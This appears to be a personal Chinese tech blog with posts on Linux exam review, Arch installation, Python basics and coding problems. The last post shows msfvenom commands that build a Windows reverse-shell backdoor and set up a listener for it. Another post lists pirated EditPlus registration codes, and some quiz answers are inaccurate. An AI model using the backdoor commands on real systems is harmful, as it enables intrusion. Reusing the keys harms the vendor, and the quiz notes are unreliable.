Firefly

永劫无间高校赛

Sat, 21 Mar 2026 16:35:35 GMT

今天要说做的最有意义的是就是参加永劫无间的高校海选赛，都是大神，我一个小小铂金误入高端局，一局八个人，就我一个铂金，其他最低修罗，普遍龙王，两局比赛，我就拿一个人头(我是路边一条)，其他时间全看神仙打架，隔壁无尘哥们，第一局四个人头，第二局三个，太崇拜了，观战也超爽，爽爽爽最重要的有三个宝箱很满足了

Miniconda+PyCharm配置Open3D

Wed, 16 Jul 2025 07:38:34 GMT

2.安装时注意选择添加path#

3.使用Anaconda Prompt#

4.创建虚拟环境#

Terminal window

1
conda create -n python38 python=3.8    #创建一个python版本为3.8并且名为python38的虚拟环境

5.激活虚拟环境#

Terminal window

1
activate python38

6.配置PyCharm,添加解释器（注意选择当时命名的python38）#

7.测试代码，点击然后下载 bun_zipper.ply，然后把 bun_zipper.ply放入项目目录#

1
import open3d as o3d
2
import numpy as np
3
print("read the point cloud ,print it and render it")
4
p = o3d.io.read_point_cloud("bun_zipper.ply")
5
print(p)
6
print(np.asarray(p.points))
7
o3d.visualization.draw_geometries([p])

因为一开始没有下载open3d跟numpy，可以根据IDE报错提示下载或者使用终端（我没有使用终端，但是效果应该一样）

1
pip install open3d
2
conda install numpy

8.正确结果#

linux期末复习

Thu, 27 Jun 2024 18:22:16 GMT

03.Linux基本操作练习题#

查询当前用户名的命令是whoami

查询当前用户身份信息的命令是id

查询正在登陆用户信息的命令是who

查询用户登陆历史记录的命令是 last。

打印当前工作路径的命令是 pwd

显示目录内容列表,带-lh选项的命令是 ls -lh

简单的文本回显的命令是echo

简单的打印文件的命令是cat

Linux独有的联机帮助的命令是--help

传统Unix联机帮助的命令是man

更详细的带超链接功能的联机帮助的命令是info

同步内存数据到磁盘的命令是sync

立即关机,不建议使用,仅限单机用户的命令是 shutdown -h now

15分钟后重启服务器的命令是 shutdown -r +15

取消本次关机或重启操作的命令是shutdown -c

04.Linux文件操作练习题#

ls -a列出所有文件包括隐藏的详细信息

ls -l输出长格式列表

ls -R显示递归文件

ls -d仅显示目录本身信息

cd ~切换到自己的Home目录。

cd -返回到上次所在目录。

mkdir用来创建目录

rmdir用来删除目录

touch创建新文件或者修改文件时间

file查看文件类型

读取大文件建议使用less或more命令

wc统计文件的字节数、字数、行数

grep以行为单位过滤文档内容,将所有符合正则表达式的行输出

根据文件名在特定目录中搜索可以使用find命令。

rm 命令可以删除个目录中的一个或多个文件或目录。

ln默认的链接类型是硬链接。

ln -s创建符号链接。

文件操作rmdir命令用于删除目录,但是rmdir只能删除空目录。

tar命令归档文件名后缀**有**实际意义。

find命令选项-name是长选项。

欲把当前目录下的fle1.txt复制为fle2.txt,正确的命令是cat file1.txt > file2.txt

05.用户及用户组管理习题#

系统为每个用户分配一个唯一的用户ID-UID,它的初始值为**0**

程序用户又称 系统账户,用于维持系统或某个程序的正常运行。

useradd命令添加一个用户账号, -m选项创建用户主目录, -r选项创建程序用户, -s选项指定登录Shell。

/etc/目录下 passwd文件是Linux系统中的一个重要文件,它存储着系统中所有用户的信息。

/etc/目录下shadow文件是Linux系统中的一个重要文件,它存储着系统中所有用户的密码信息。

passwd命令修改用户口令, -l选项锁定用户密码,限制用户登录, -u选项解除用户密码锁定。

usermod修改用户账号就是根据实际情况更改用户的有关属性, -g选项将用户加入指定组, -G选项设定用户附加组列表。

userdel命令删除用户, -r选项删除与用户相关的所有文件。

groupadd命令用于创建一个新的用户组。

gpasswd命令是Linux下组文件/etc/group和/etc/gshadow的管理工具。 -A选项设定管理员列表, -a选项添加用户到组, -d选项从组中删除用户。

groupmod命令更改组gid或名称

groupdel命令用于删除指定的用户组。

newgrp命令切换有效用户组。

chmod命令变更文件或目录的权限, -R选项表示递归,进行目录操作

chown命令可以改变某个文件或目录的所有者和所属组

umask是文件权限掩码,可以通过掩码修改创建新文件的默认权限

Linux用户账户分为普通用户和系统用户。(❌)linux操作系统除了普通用户、系统用户,还有超级用户

配置文件/etc/passwd文件的内容较多,使用tail命令可以查看文件最后几行的内容

查看/etc/passwd文件的内容,**不**需要root权限。

通过指定登录Shell为/sbin/nologin,可以限制用户登录

没有x权限的目录不可访问。

默认情况下管理员创建了一个用户,就会在/home目录下创建一个用户主目录

**只有root**用户对Shadow文件拥有读取权利

/etc目录存放用户密码信息

useradd命令选项-g的主要参数含义指定用户所属的用户组

组账户分为系统组和用户组（❌）私有组(基本组)和公有组（附加组）

系统用户的UID取值范围1~999

useradd命令中-c命令选项用于加上注释信息

usermod命令可以修改用户信息，下列哪个选项可以更改主用户组（C） A -l B -s C -g D -G

06.软件包管理习题#

dnf是yum的增强版

yum check-update命令更新缓存,并检查软件更新

yum list命令根据软件包名称列出软件包

yum search命令搜索软件包描述

yum provides命令反向查询文件由哪个包提供,或者软件包由哪个仓库提供。

yum info命令显示软件包详细信息。

yum remove命令卸载软件包

yum upgrade命令通过“卸载/安装/升级”来更新系统。

在使用apt包管理器时,apt update命令用于更新软件包列表

FreeBSD中使用 pkg作为的软件包管理工具。

rpm -qa选项列出当前全部已安装的软件包。

dpkg是Debian/Ubuntu系的软件包管理器。

rpm本地安装**不能**解决依赖问题。

yum install本地安装**能**解决依赖问题。

在Linux中,以下/usr/local目录通常用于存放软件包

apt-get -f install能够进行本地安装软件依赖修正。

在Red Hat系列的Linux中,apt search命令不能用于搜索的软件包

07.Vim编辑器习题#

Vim编辑器有三种模式: 命令模式、 编辑模式和末行模式。

Vim编辑器的快捷键 3G表示移动到文档第3行。

Vim编辑器的快捷键 dd表示删除1行。

Vim编辑器的快捷键 yy表示复制1行。

Vim编辑器中 v模式可以实现模拟鼠标式的选择操作

在Vim的命令模式下,可以进行文本的复制、粘贴和删除等操作

在Vim编辑器中,要实现全局搜索并替换某个词,应该在末行模式中使用:%s/old/new/g命令?

在Vim中,要撤销上一步的操作,应该使用u命令

08.系统管理与安全测试#

服务 Service是网络系统中应用层的基本单位,它通过与一个特定的端口 Port绑定来对外提供服务。服务实现了最简单的 应答系统,允许外部实体与服务器进行通信,它能够接受、处理并响应网络数据请求。

服务机制实现对普通进程进行监管,确保进程能够不间断提供服务,服务又被称为 守护进程

新版Linux系统服务被SystemD统一管理,主要命令是 systemctl。

查看服务的详细状态需要使用systemctl status命令。

临时启动服务需要使用systemctl start命令。

临时停止服务需要使用systemctl stop命令。

ps命令是Linux系统中进程状态查看命令

pstree是一个用于显示系统进程树的命令。

top命令是Linux的动态任务管理器,可以实时动态地监视系统的运行状况。

journalctl是systemd套件的一个命令,是一个系统日志管理器

在Linux中，ps命令可以查看当前系统中所有运行的进程

cron命令可以用来设置周期性计划任务

Linux系统中,ps aux命令可以查看进程的CPU和内存使用情况

在Linux系统中，关于服务管理的说法，哪些是正确的？（AC） A.服务可以在系统启动时自动运行 B.服务管理只能通过图形界面进行 C.管理员可以使用systemctl命令管理服务 D.服务配置通常存储在/etc/init.d/目录下 /usr/lib/systemd/system

以下哪些命令可以用于进程管理？（ABC） A.ps B.kill C.top D.df //磁盘管理

关于Liux系统中的计划任务管理，以下哪些说法是正确的？（AB） A.cron是Linux系统中用于设置周期性计划任务的工具 B.at命令可以用于设置一次性计划任务 C.计划任务配置保存在/etc/crontab文件中

Linux系统的计划任务配置主要保存在 /var/spool/cron 目录、

/etc/crontab 文件以及 /etc/cron.d 目录下。

D.计划任务无法在系统启动时自动执行

at命令可以用来设置一次性计划任务

09.网络管理与安全测试#

Linux网络使用 NetworkManager服务进行管理,可以使用服务管理的方式查看网络状态或控制网络。

命令行界面下,使用的网络管理工具常用的是 setup、 nmtui。

iproute2是一个在Linux下的高级网络管理工具软件,主要命令工具是 ip、 ss。

查看L2链路层的物理设备网络命令是ip link。

查看L3网络层IP信息网络命令是ip addr。

看网关的路由信息网络命令是ip route。

查看邻居表网络命令是ip neigh。

查看全部监听的端口网络命令是ss -tulnp

查询已建立的连接网络命令是ss -nat

打印网络流量的统计数据网络命令是ss -s。

lsof命令是一个列出当前系统打开文件的工具。

ping命令是一种网络包探索器，用于测试网络连接量的程序。

telnet命令测试目标端口是否可达。

traceroute指令追踪网络数据包的路由途径。

在Linux系统中,可以使用iptables命令来配置和管理防火墙规则。

在openEuler系统中,/etc/sysconfig/network-scripts/ifcfg-文件通常用于配置网络接口

在Linux中，ping命令用于测试网络的连通性

在Linux系统中，哪个命令可以显示当前系统中活动的网络连接、监听的端口以及网络服务？（B） A.ifconfig B.netstati或ss C.route D.iptables

关于路由配置，以下哪个说法是正确的？（C）路由配置主要是设置DNS服务器地址路由配置不需要知道目的网络的地址路由配置用于指定数据包在网络中的最佳传输路径路由配置是为了提高网络的下载速度

在Linux系统中，进行网络故障排查时，以下哪些命令可能是有用的？（ABC） A.ping B.traceroute C.ifconfig D.ps //当前进程的状态

10.Shell编程测试#

Shell变量可分为如下4种类型: 环境变量、预定义变量、位置变量和用户自定义变量。

Shell中读取一个定义过的变量,变量名前需加 $。

Shell中使用 read可以从键盘读取输入值并赋值给变量

Shell变量有三种作用域: 局部变量、全局变量和环境变量。

Shell中 $0代表所执行命令的名称, $1代表了命令的第1个参数。

echo命令用于在Shell中打印Shell变量的值,或者直接输出指定的字符串,一般起到一个提示的作用。

Shell中printf命令格式化并输出结果。

重定向一般是一道工艺命令的结束,表示将处理的最终结果文件如何显示或存储

如果希望执行某个命令,不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null。

管道使用竖线将两个命令隔开,竖线左边命令的输出就会作为竖线右边命令的输入。

Shell中将输出的结果分为几个分流,就需要使用 tee命令。

test测试后返回一个值给系统,下一个命令可以借助于 $?查看。

Shell中 shift命令用于对参数的移动,通常用于在不知道传入参数个数的情况下依次遍历每个参数然后进行相应处理。

Shell中函数的return值会被预定义变量#?获取。

Shell是一种命令行解释器,它允许用户与操作系统进行交互(✔)

在Shell脚本中，变量名区分大小写。(✔)

Shell脚本中的选择结构只能通过if语句来实现。（❌）

for循环是Shell脚本中唯一可用的循环结构（❌）

Shell函数可以在脚本中被调用，但不能在命令行中直接调用(❌)

Shell脚本中的文件包含是指将一个脚本文件的内容包含到另一个脚本文件中(✔)

Shell变量可以被赋值为命令的执行结果。(✔)

Shell脚本在执行时不需要任何解释器,可以直接运行(❌)

Shell中的测试命令是test

可以使用expr命令对Shell变量进行算术运算

在Shell程序中,要访问命令行第9个参数之后的参数,就必须使用shift命令

下列哪个是Shell的功能（C） A.图形界面设计 B.文本编辑器 C.命令行解释器 D.数据库管理系统

在Shell脚本中,如何定义一个变量? val=value Shell注释#

在Shell脚本中,如何引用变量的值? $variable

["str1"="str2"]命令可以用来比较两个字符串是否相等

在Shell脚本中,以下哪些命令可以用于比较数值或字符串

✔:-eq -ne -gt

❌:< ==

下列哪些符号或命令可以用于获取Shell脚本中的变量值

✔: $variable ${variable}

❌:%（variable）s @（variable） #variable#

下列哪些选项是Shell脚本中可能用到的特殊变量

$# $? $* $@ $$

11.过滤器#

过滤器中head命令从数据开头选择数据行。

过滤器中tail命令从数据结尾选择数据行。

过滤器中nl命令在每行前面加一字段,显示行号。

过滤器中tac命令反转文本行的顺序。

过滤器中rev命令将文件中的每行内容以字符为单位反序输出。

过滤器中sort命令将文件进行排序,并将结果标准输出。

过滤器中uniq命令用于报告或忽略文件中的重复行。

过滤器中history命令列出当前账号最常使用的5个命令。

正则表达式是一种文本模式,正则表达式由普通字符和 元字符组成。

在正则表达式里,元字符 ^来表明想对一个字符集合进行取非匹配。

在正则表达式里,元字符\d匹配任意数字字符。

在正则表达式里,元字符\s匹配任意空白字符。

在正则表达式里,元字符^匹配字符串的开头。

在正则表达式里,元字符$匹配字符串的结尾。

在正则表达式里,元字符\b 匹配单词的边界。

Unix的grep家族包括grep、egrep和fgrep,另外还集成了Perl语言的pgrep

流编辑器sed同Vim相比是非交互式的,处理时把当前处理的行存储在临时缓冲区中,称为模式空间。

perl命令开启-pe选项启用Perl一行式命令。

awk脚本是由模式和操作组成。

awk是一种编程语言,可以用于文本处理和数据分析。(✔)

正则表达式是一种用于模式匹配和文本搜索的语法。（✔）

awk是一种编程语言，可以用于文本处理和数据分析。（✔）

使用grep命令时,-i选项用于忽略大小写进行搜索。

sed命令中的s命令用于替换文本中的模式。

grep命令用于在文本中搜索特定模式

sed命令中的-i选项可以用于在文件中直接进行修改

cut命令主要用于字段抽取操作

在awk中,如何当前行的第一个字段表示为$1

sed命令可以处理流数据并进行文本替换

grep命令中,-n选项可以显示匹配行的行号

在sed命令中,如何替换文本中的所有“apple”为“orange”?

sed 's/apple/orange/g' file.txt

在使用grep命令时,以下-i,-v,-r,-l选项可以用来修改搜索行为

下列哪些说法关于sed命令是正确的?(ABD)

A. sed是一个流编辑器。 B. sed主要用于文本替换 C. sed不能处理流数据。 D. sed何以使用正则表达式。 E. sed只能处理单个文件。

下列哪些工具可以用来抽取文本中的特定字段?(CD)

A.grep B.sed C.awk D.cut E.sort

12.Docker容器#

容器虚拟机技术是一种基于linux内核的轻量级的虚拟化解决方案,容器共享主机内核。

docker images命令查看本地已安装镜像。

docker search命令在线查找镜像库。

docker pull命令拉取一个镜像。

docker run 命令运行容器,选项 -d 直接进入后台运行。

docker attach进入一个已经运行的容器内部系统,一般需要接管一打开的可交互的终端。

docker exec进入容器内部系统,将后台容器切换到前台,同时需要再打开一个终端

docker ps查看正在运行容器列表和状态,选项-a已停止运行的容器。

docker stats查看所有的正在运行容器对系统各种资源的占用情况。

docker top查看指定容器内部正在运行的进程信息。

docker port查看指定容器的端口及端口映射信息

docker logs查看指定容器的执行命令及输出历史。

docker inspect完整检查指定容器的配置信息。

容器有两个特性,一个是系统,一个是程序。

容器技术的底层原理是相同的,但是运行时不兼容。(❌)

期中考试#

输入答案是提供用户管理和使用资源的接口

CPU微架构指令集主要分两种，一个是Intel、AMD为首的复杂指令集CISC ，另一个是以IBM、ARM 为首的精简指令集RISC

rpm -qa选项列出当前全部已安装的软件包。

通过使用ssh，可以把所有传输的数据进行加密、压缩，实现又快又安全的传输。

云计算平台是成熟的云计算系统，目前主要包括基于基础设施层、基于平台层

editplus 注册码汉化

Wed, 29 May 2024 16:14:42 GMT

editplus 官网下载（点击跳转）#

注册码#

1
User Name: damie
2
Reg Code.: ANE0N-LZ7HA-9Y4IT-DBKA3-K7NIQ
3
User Name: Abuela Juana
4
Reg Code.: 8NSYC-2CSE2-ACEJG-2A2J6-NUUJQ
5
User Name: J3ud1/YouTube
6
Reg Code.: A8UN8-48EE2-EN2NQ-UYWW6-Q6UA4
7
User Name: La Familia de Jeu
8
Reg Code.: YWYJ4-YE2E2-4CLAA-CAWEU-LWLLL

汉化包下载（点击跳转）#

解压汉化包，覆盖到editplus的文件位置，即可汉化

右键安装好的editplus

Arch 安装教程

Thu, 15 Feb 2024 12:15:51 GMT

arch安装教程+部分问题解决#

网络配置#

1
# 进入iwctl
2
iwctl
3

4
# 获取device名称 我这里是 wlan0，后面注意wlan0替换成你自己device
5
device list
6

7
# 扫描附近wifi
8
station wlan0 scan
9

10
# 获取所有可连接wifi名字
11
station wlan0 get-networks
12
station wlan0 connect [wifi名]
13

14
#输入密码
15
# ctrl+c 退出 iwctl

展开收起

硬盘分区#

Terminal window

1
cfdisk /dev/sda

选择gpt，然后new新建efi分区，300~500M类型是EFI

4G类型是swap，剩下的空间全部new为默认，然后选择write，输入yes完成写入，然后退出

输入

Terminal window

1
lsblk -f

出现三个sda即为成功

格式化#

Terminal window

1
mkfs.ext4 /dev/sda3 //格式化sda3

1
mkswap /dev/sda2

1
mkfs.fat -F 32 /dev/sda1

挂载#

1
mount /dev/sda3 /mnt

1
mount --mkdir /dev/sda1 /mnt/boot

1
swapon /dev/sda2

安装#

1
pacstrap -K /mnt base linux linux-firmware base-devel

挂载信息载入系统#

Terminal window

1
genfstab -U /mnt >> /mnt/etc/fstab

进入创建的系统#

1
arch-chroot /mnt

设置时区#

Terminal window

1
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

对准时间#

Terminal window

1
hwclock --systohc

下载nano也可以使用vim#

Terminal window

1
pacman -S nano

切换到etc目录使用nano编辑locale.gen文件来设置语言#

Terminal window

1
cd /etc
2
nano locale.gen

将en_US.UTF-8 UTF-8前面的#去掉#

ctrl+o保存ctrl+x退出

加载配置#

Terminal window

1
locale-gen

创建locale.conf#

Terminal window

1
touch locale.conf

编辑locale.conf(编辑时会自动创建所以不执行上一条也行)#

Terminal window

1
nano locale.conf

输入

Terminal window

1
LANG=en_US.UTF-8

ctrl+o保存ctrl+x退出

设置用户#

设置root密码(输入时密码不可见，输就完事了不用担心，要输入两次)#

Terminal window

1
passwd

新建用户(***表示你想起的用户名)#

1
useradd -m ***

设置密码(***表示你想起的用户名)#

1
passwd ***

管理权限#

Terminal window

1
nano sudoers

在root那一行输入(***表示你上面所设置的用户名)#

1
*** ALL=(ALL) ALL

ctrl+o保存ctrl+x退出

编辑hostame然后输入一个名字保存#

Terminal window

1
nano hostname

ctrl+o保存ctrl+x退出

更新一下#

1
pacman -Sy

安装os-prober#

Terminal window

1
pacman -S grub efibootmgr os-prober

返回根目录#

Terminal window

1
cd /
2
nano /etc/default/grub

取消最后一行注释#

安装grub#

Terminal window

1
grub-install --target=x86_64-efi --efi-directory=boot --bootloader-id=grub

生成配置文件#

Terminal window

1
grub-mkconfig -o /boot/grub/grub.cfg

网络配置#

Terminal window

1
pacman -S networkmanager

开机自启动#

1
systemctl enable NetworkManager

退出并重启#

Terminal window

1
exit
2
reboot

安装成功！！！

安装KDE#

输入用户名：root

密码是你设置的且输入时不可见

更新一下库

Terminal window

1
pacman -Sy

安装KDE（根据提示按回车和输入y）#

Terminal window

1
pacman -S sddm xorg plasma konsole kate filelight dolphin ark

安装完成后reboot重启即可进入KDE

根据图示进入终端

Terminal window

1
sudo pacman -Sy
2
#然后输入密码
3
sudo pacman -S neofetch
4
neofetch

安装完成

Xshell远程连接#

Terminal window

1
pacman -Sy
2
pacman -S openshh
3
nano /etc/ssh/sshd_config  #修改下图内容

设置开机启动#

1
systemctl enable sshd.service 开机启动
2

3
systemctl start sshd.service 立即启动

查看ip#

1
ip addr

在Xshell中输入ip跟账号密码即可连接成功

Xshell出现警告#

WARNING! The remote SSH server rejected X11 forwarding request.

Terminal window

1
nano /etc/ssh/sshd_config

将下图改为yes

重启ssh服务

1
systemctl restart sshd.service

以下是使用时遇到的一些问题及解决方案，不是安装教程#

安装archlinuxcn-keyring报错 #

新系统中安装 archlinuxcn-keyring 包前需要手动信任 farseerfc 的 key archlinuxcn 社区源的 keyring 包 archlinuxcn-keyring 由 farseerfc 的 key 签署验证，而 Arch Linux 官方 keyring 中包含了 farseerfc 的 key 。自12月初 archlinux-keyring 中删除了一个退任的 master key 导致 farseerfc 的 key 的信任数不足，由 GnuPG 的 web of trust 推算为 marginal trust，从而不再能自动信任 archlinuxcn-keyring 包的签名。如果你在新系统中尝试安装 archlinuxcn-keyring 包时遇到如下报错：

error: archlinuxcn-keyring: Signature from “Jiachen YANG (Arch Linux Packager Signing Key) farseerfc@archlinux.org” is marginal trust 请使用以下命令在本地信任 farseerfc 的 key 。此 key 已随 archlinux-keyring 安装在系统中，只是缺乏信任：

Terminal window

1
sudo pacman-key --lsign-key "farseerfc@archlinux.org"

之后继续安装

Terminal window

1
sudo pacman -S archlinuxcn-keyring

1
sudo ./install.sh 报错
2
改为
3
sudo sh ./install.sh

删除文件夹

1
rm -rf ***

Android studio 报错

Thu, 08 Feb 2024 13:19:05 GMT

The emulator process for AVD Pixel_2_API_30 has terminated.#

错误代码1073740791 (0xC0000409)#

这个问题的解决办法在网上有很多种办法，但是对于我来说都不使用，所以查看自己的studio的log文件，如果你是跟我一样的问题，可以尝试我这种办法，

log文件路径#

1
C:\Users\[你自己的用户名]\AppData\Local\Google\AndroidStudio2023.1\log

根据你最后一次出现错误的时间找log，如果你有这一种错误的话#

1
 Emulator: Pixel 2 API 30 - Process finished with exit code -1073740791 (0xC0000409)

就意味着这是由于显卡驱动(反正就是跟显卡原因有关),这时候打开studio，新建一个虚拟机在第三步的时候点击红色方框，下拉选择software#

但是有的人这个选项框是灰的，选择不了，就比如我，这个时候跳到下一步（如果你不是灰的，能选择的话就不用后面的步骤了）#

打开你的虚拟机文件，如图#

右键config.ini，选择编辑，找到以下两项并修改#

1
hw.gpu.enabled = yes
2
hw.gpu.mode = software #这个地方一开始应该是等于auto,把auto改成software

关闭文件的时候别忘保存，再重新打开studio，打开虚拟机应该就行了#

PS：我估计这个问题是AMD芯片或者显卡的锅，烦死了，搞了一整天#

电池损耗查看

Sun, 21 Jan 2024 15:10:08 GMT

代码查看#

Terminal window

1
powercfg /batteryreport

aida64#

Catch That Cow

Wed, 17 Jan 2024 17:08:45 GMT

Catch That Cow#

Farmer John has been informed of the location of a fugitive cow and wants to catch her immediately. He starts at a point N (0 ≤ N ≤ 100,000) on a number line and the cow is at a point K (0 ≤ K ≤ 100,000) on the same number line. Farmer John has two modes of transportation: walking and teleporting.

* Walking: FJ can move from any point X to the points X - 1 or X + 1 in a single minute * Teleporting: FJ can move from any point X to the point 2 × X in a single minute.

If the cow, unaware of its pursuit, does not move at all, how long does it take for Farmer John to retrieve it?

Input#

Line 1: Two space-separated integers: N and K

Output#

Line 1: The least amount of time, in minutes, it takes for Farmer John to catch the fugitive cow.

Sample#

Input	Output
`5 17`	`4`

Hint#

The fastest way for Farmer John to reach the fugitive cow is to move along the following path: 5-10-9-18-17, which takes 4 minutes.

1
#include<iostream>
2
#include<algorithm>
3
#include<queue>
4
using namespace std;
5
struct node{
6
  int x;
7
  int time;
8
};
9
int sx,ex;
10
int vis[100001];
11
int b[100001];//没用但是必不可少，缺了就会报runtime error
12
int bfs()
13
{
14
  queue<node>Q;
15
  node now,next;
16
  now.x=sx;
17
  now.time=0;
18
  Q.push(now);
19
  while(!Q.empty()){
20
    now=Q.front();
21
    if(now.x==ex)
22
    return now.time;
23
    if(now.x>0&&!b[now.x-1]){
24
      next.x=now.x-1;
25
      next.time=now.time+1;
26
      b[next.x]=1;
27
      Q.push(next);
28
    }
29
    if(now.x<ex&&!b[now.x+1]){
30
      next.x=now.x+1;
31
      next.time=now.time+1;
32
      b[next.x]=1;
33
      Q.push(next);
34
    }
35
    if(now.x<ex&&!b[now.x*2]){
36
      next.x=now.x*2;
37
      next.time=now.time+1;
38
      b[next.x]=1;
39
      Q.push(next);
40
    }
41
    Q.pop();
42
  }
43
}
44
int main(){
45

46
  cin>>sx>>ex;
47
  b[sx]=1;
48
  if(sx>=ex)
49
    cout<<sx-ex;
50
  else
51
  cout<<bfs();
52
  return 0;
53
}

展开收起

函数

Fri, 11 Aug 2023 14:35:52 GMT

1
def Sum(a,b,c):
2
    return a+b+c,a+b+c/3.0
3
'''
4
def Aver(a,b,c):
5
    return Sum(a,b,c)/3.0
6
'''
7
a=eval(input("num1:"))
8
b=eval(input("num2:"))
9
c=eval(input("num3:"))
10
print("sum=",end='')
11
print( Sum(a,b,c)[0] )
12
#返回的是元组的第一个数
13
#print：sum=6
14
print( Sum(a,b,c))
15
'''
16
input:num1:1
17
      num2:2
18
      num3:3
19
output:sum=(6, 4.0)
20
'''
21
# print("Aver=%lf" %Aver(a,b,c) )

展开收起

字典常见操作与遍历

Fri, 11 Aug 2023 11:18:02 GMT

len()#

测量字典中，键值对的个数

1
dict = {'name':'jwq','sex':'man','number':'123456'}
2
print(len(dict))

keys&&values#

返回一个包含字典所有KEY的列表

1
dict = {'name':'jwq','sex':'man','number':'123456'}
2
print(dict.keys())
3
#dict_keys(['name', 'sex', 'number'])
4
print(dict.values())
5
dict_values(['jwq', 'man', '123456'])

items#

返回一个包含所有（键，值）元祖的列表

1
dict = {'name':'jwq','sex':'man','number':'123456'}
2
print(dict.items())
3
#dict_items([('name', 'jwq'), ('sex', 'man'), ('number', '123456')])

遍历(带下标)#

1
dict = {'name':'jwq','sex':"man",'number':'123456'}
2
for i , chr in enumerate(dict.items()):
3
    print(i,chr)

元组，字典

Tue, 08 Aug 2023 14:48:35 GMT

元组#

index查询#

1
my_tuple=('et',77,99.9)
2
print(my_tuple.index(99.9))
3
#元组不可修改，index查询位置

字典#

1
info = {'name':'班长', 'id':100, 'sex':'f', 'address':'地球亚洲中国北京'}
2
print(info['name'])
3
#print:班长
4
print(info['x'])
5
#print:抛出异常
6
print(info.get('name'))
7
#print:班长
8
print(info.get('t'))
9
#print:None
10
print(info.get('t','pp'))
11
#pint:pp，如果get没有找到 默认输出None，如果有第二变量输出第二变量

字典的修改添加#

1
info = {'name':'班长', 'id':100, 'sex':'f', 'address':'地球亚洲中国北京'}
2
s=input("请输入要修改的id:")
3
info['id'] = int(s)
4
#print('修改之后的id为:%d'%info['id'])
5
info['tt'] = 'sss'
6
#如果没有:'tt'键则自动新增一个
7
print(info)

删除元素#

1
info = {'name':'班长', 'id':100, 'sex':'f', 'address':'地球亚洲中国北京'}
2
del info['name'] #删除name
3
del info #删除整个字典
4
info.clear()#清空整个字典

列表

Mon, 07 Aug 2023 15:44:26 GMT

列表#

append#

通过append可以向列表添加元素#

1
A = ['xiaoWang','xiaoZhang','xiaoHua']
2

3
print("-----添加之前，列表A的数据-----")
4
for temp_name in A:
5
    print(temp_name)
6

7
#提示、并添加元素
8
temp = input('请输入要添加的学生姓名:')
9
A.append(temp)#temp作为一个加入到A
10

11
print("-----添加之后，列表A的数据-----")
12
for temp_name in A:
13
    print(temp_name)

extend#

通过extend可以将另一个集合中的元素逐一添加到列表中#

1
A.extend(B)#B里的内容分别作为一个加入到A
2
print(A)

遍历方式#

1
for temp_name in A:
2
    print(temp_name)
3
for name in range(0,2):
4
    print(A[name])

insert#

insert(index, object) 在指定位置index前插入元素object#

1
a = [0, 1, 2]
2
a.insert(1, 3)
3
print(a)
4
print:[0, 3, 1, 2]

in,not in#

1
A=[1,2,3,4,5]
2
B=[6,7,8,9,0]
3
if 99 in A:
4
    print("yes")
5
else:
6
    print("no")

index, count#

index和count与字符串中的用法相同

1
>>> a = ['a', 'b', 'c', 'a', 'b']
2
>>> a.index('a', 1, 3) # 注意是左闭右开区间
3
Traceback (most recent call last):
4
  File "<stdin>", line 1, in <module>
5
ValueError: 'a' is not in list
6
>>> a.index('a', 1, 4)
7
3
8
>>> a.count('b')
9
2
10
>>> a.count('d')
11
0

删除元素(“删”del, pop, remove)#

1
del movie_name[2]：根据下标进行删除
2
movie_name.pop()：删除最后一个元素
3
movie_name.remove('指环王')：根据元素的值进行删除

排序(sort, reverse)#

sort方法是将list按特定顺序重新排列，默认为由小到大，参数reverse=True可改为倒序，由大到小。

reverse方法是将list逆置。

1
>>> a = [1, 4, 2, 3]
2
>>> a
3
[1, 4, 2, 3]
4
>>> a.reverse()
5
>>> a
6
[3, 2, 4, 1]
7
>>> a.sort()
8
>>> a
9
[1, 2, 3, 4]
10
>>> a.sort(reverse=True)
11
>>> a
12
[4, 3, 2, 1]

python 字符串

Mon, 07 Aug 2023 09:12:22 GMT

字符串#

1
name = '峰哥'
2
age = 33
3
format_string1 = f'我的名字是 {name}, 我的年龄是 {age}'
4
format_string2 = f"我的名字是 {name}, 我的年龄是 {age}"
5
format_string3 = F'''我的名字是 {name}, 我的年龄是 {age}'''
6
format_string4 = F"""我的名字是 {name}, 我的年龄是 {age}"""
7
#这些都一样

1
name = "abcdef\""
2
print(name)
3
# print:abcdef"
4
name = 'abcdef'
5
print(name[0:3]) # 取 下标0~2 的字符 [0,3)
6
name = 'abcdef'
7
print(name[2:]) # 取 下标为2开始到最后的字符
8
name = 'abcdef'
9
print(name[1:-1]) # 取 下标为1开始 到 最后第2个之间的字符
10
print(s[::-1])  # 从后向前，按步长为1进行取值

字符串函数方法#

1
mystr = 'hello world itcast hello world and hello world itcastcpp hello world'
2
print(mystr.index("t",0,len(mystr)))#与find用法相同，但如果没找到返回错误
3
print(mystr.find("t",0,len(mystr)))#没找到返回-1
4
print(mystr.replace("hello","np",mystr.count("hello")))
5
teststr="haha nihao a \t heihei \t woshi nide \t hao \npengyou"
6
re=teststr.split()
7
print(re)
8
print(re[-2])
9
print(mystr.split(" ",2))#前一个变量表示分割标识，后一个变量表示分割几次
10
#print:['hello', 'world', 'itcast hello world and hello world itcastcpp hello world']
11
str="_"
12
li=["my","name","is","jwq"]
13
print(str.join(li))
14
#print:my_name_is_jwq

python小记

Sat, 05 Aug 2023 19:03:20 GMT

变量#

1
age=10
2
print(age)#整型
3
print("age is %d" % age)
4
age = 18
5
name = "xiaohua"
6
print("我的姓名是%s, 年龄是%d" % (name, age))
7
password = input("请输入密码:")
8
print('您刚刚输入的密码是:%s' % password)
9
password = input("请输入密码:")
10
password = eval(password)#格式化为原来类型
11
print('您刚刚输入的密码是:%d' % password)

格式符号	转换
%c	字符
%s	字符串
%d	有符号十进制整数
%u	无符号十进制整数
%o	八进制整数
%x	十六进制整数（小写字母0x）
%X	十六进制整数（大写字母0X）
%f	浮点数
%e	科学计数法（小写’e’）
%E	科学计数法（大写“E”）
%g	％f和％e 的简写
%G	％f和％E的简写

输出#

1
print("*",end=" ")  #有end=" ",输出结束没有换行

for循环#

1
name="Myname"
2
for x in name:
3
    print(x)
4
for i in range(5):
5
    print(i)
6
for x in range(0,10):#[0,10)

meterpreter使用方式

Wed, 02 Aug 2023 13:14:41 GMT

meterpreter生成后门Windows可执行文件#

Terminal window

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.80.128 lport=9999 -f exe -o demo9999.exe

1
lhost//监听地址(攻击者ip)
2
lport//端口

启动msfconsole#

Terminal window

1
sudo su
2
msfconsole
3
use exploit/multi/handler

设置#

Terminal window

1
set payload windows/x64/meterpreter/reverse_tcp
2
set lhost 192.168.80.128
3
set lport 9999

命令#

1
sessions -i 进入会话
2
sessions -k 杀死会话
3
pwd         查看当前目录
4
